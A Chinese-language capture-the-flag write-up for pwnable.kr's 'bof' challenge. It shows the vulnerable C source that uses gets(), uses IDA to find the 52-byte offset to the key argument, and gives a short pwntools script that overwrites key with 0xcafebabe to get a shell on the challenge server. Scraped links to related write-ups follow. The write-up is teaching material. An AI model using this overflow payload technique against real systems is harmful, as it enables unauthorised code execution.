简单易懂的 pwnable.kr 第三题[bof]Writeupt
简单易懂的 pwnable.kr 第三题[bof]Writeupt
题目地址:http://pwnable.kr/play.php
点开题目发现:
他给了提示覆盖,并且给了两个网址。分别打开,第一个给了你一个下载文件bof。第二个是文件的源文件。
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){char overflowme[32];printf("overflow me : ");gets(overflowme); // smash me!if(key == 0xcafebabe){system("/bin/sh");}else{printf("Nah..\n");}
}
int main(int argc, char* argv[]){func(0xdeadbeef);return 0;
}
给了超级明显的暗示,smash me!。下面我们要做的就是如何去覆盖key的值。这就需要知道参数key和变量overflowme的地址,(当然你也可以一个一个试,不过这不太科学)。
一分钟安装IDA
打开IDA看一下bof文件(不知道是32位还是64位,可以都试一下),
按F5反编译得到伪代码。
双击func函数进入函数
对照源文件我们可以看到,s就是overfolwme, a1就是key。
将鼠标移到a1 看到 ebp+8h
将鼠标移到s 看到 ebp-2ch
由于栈是从高地址向低地址生长的,但是数据写入的时候是从低地址向高地址写入的。8h+2ch = 8 + 44 = 52。所有只需要一个长度为52的字符串我们就可以开始覆盖key的值。
下面开始编写payload
from pwn import * #pwntools
p = remote("pwnable.kr",9000) #连接端口
p.sendline("aaaa"*13+p32(0xcafebabe)) #发送并且覆盖key
p.interactive() #交互获取权限
简单易懂的 pwnable.kr 第三题[bof]Writeupt相关推荐
- 简单易懂的 pwnable.kr 第六题[random]Writeupt
简单易懂的 pwnable.kr 第六题[random]Writeupt 题目地址: http://pwnable.kr/play.php 题目: peak小知识 异或^ 据有如下几种性质: 2. 恒 ...
- 简单易懂的 pwnable.kr 第二题[collision]Writeupt
简单易懂的 pwnable.kr 第二题[collision]Writeupt 题目地址:http://pwnable.kr/play.php 题目如下: 和第一题一样,题目给了我们一个ssh远程登录 ...
- 简单易懂的 pwnable.kr 第一题[fd]Writeupt
简单易懂的 pwnable.kr 第一题[fd]Writeupt 题目地址http://pwnable.kr/play.php 题目 题目中给出了ssh远程登录的地址以及登录密码我们先连接,输入密码: ...
- pwnable.kr第五题:passcode
0x000打开环境 ①查看源码: 1 #include 2 #include 3 4 void login(){ 5 int passcode1; 6 int passcode2; 7 8 print ...
- 每日一题pwnable.kr bof
需要我们计算我们输入的位置到a1位置需要填充多少字节.然后再给a1赋值即可getshell 疑问1. 怎么确定输入的位置到a1的距离? 我刚开始想这么干,直接用这个地址相减. 但是不行,这题是覆盖变量 ...
- pwnable.kr之Toddler‘s Bottle前八题知识点记录
pwn刷题网站地址(点击直达): http://pwnable.kr/play.php 文章目录 第一题 fd 第二题:collision 1.首先是char和int数据类型的转换 2.python实 ...
- pwnable.kr bof
pwnable.kr bof 同样的,既然有源代码.我们就配合着源代码来做题,这样可能更利于搞懂高级语言被反汇编之后两者之间的联系. bof.c #include <stdio.h> #i ...
- pwnable.kr之Toddler‘s Bottle 9~16题知识点记录
文章目录 第九题 mistake 总结 答案: 第十题 shellshock env指令 bash指令 解题 第十一题 coin1 findall(pattern, string, flags=0) ...
- 【pwnable.kr】 alloca
https://www.anquanke.com/post/id/170288 前言 最近在刷pwnable.kr [Rookiss],题目都好有意思,一其中题alloca虽然分值不高,但分析过程很值 ...
最新文章
- jsp 使用base标签 没有作用_终于弄明白衣服上,使用前请移除的标签到底是什么,起什么作用...
- eclipse 的快捷键
- 省市县联动javascript版..
- node.js 使用----相关常用命令总结
- SqlServer Split功能函数
- mfc读取bmp文件_LIUNX 工程bmp.c 显示图片 开发板出来的图片只有一个角 求大佬解决...
- Javascript:一个屌丝的逆袭之路
- 打造IE6的position:fixed整理篇
- 拓扑排序Topological Sorting
- Nginx源码分析 - 实战篇 - 编写一个阶段化的模块(25)
- Codeforces 659F Polycarp and Hay【BFS】
- com+ system application 启动_[jvmsandboxrepeater 学习笔记][入门使用篇] 1 安装与启动
- http://www.guokr.com/blog/475765/
- mybatis和mybatis-plus存读数据库中的对象(对象转json与json转对象)
- cmd 复制文件命令copy 复制目录树命令xcopy
- xmlspy2014下载安装(可用)
- linux下ruby安装步骤,Ruby 安装 - Linux
- Unity Hex与Color之间进行颜色转换
- 万字攻略,详解腾讯面试
- NosqlBooster For MongoDB解决License问题
热门文章
- 热部署在java中的包名_09-springboot工程中的热部署实现。
- [Python图像处理] 三.获取图像属性、兴趣ROI区域及通道处理
- [LeetCode] Count Primes - 素数系列问题
- 树莓派AI视觉云台——8、WiringPi库函数
- ZYAR20A 亚克力2驱 蓝牙 298寻迹避障机器人 —— 小车指定花式动作
- 大数据互联网架构阶段 QuartZ定时任务+RabbitMQ消息队列
- 【Linux】一步一步学Linux——route命令(169)
- [Qt教程] 第34篇 网络(四)FTP(二)
- python openstack oslo_config使用_OpenStack配置解析库oslo.config的使用方法
- java中 a_java中 a++ 和 ++a